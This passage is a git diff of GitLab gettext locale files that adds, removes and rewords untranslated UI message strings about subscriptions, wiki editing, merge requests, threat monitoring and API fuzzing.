msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/kab/gitlab.po b/locale/kab/gitlab.po
index 36f0b16e920..5183ce8cbb6 100644
--- a/locale/kab/gitlab.po
+++ b/locale/kab/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: kab\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:26\n"
+"PO-Revision-Date: 2021-06-01 20:49\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
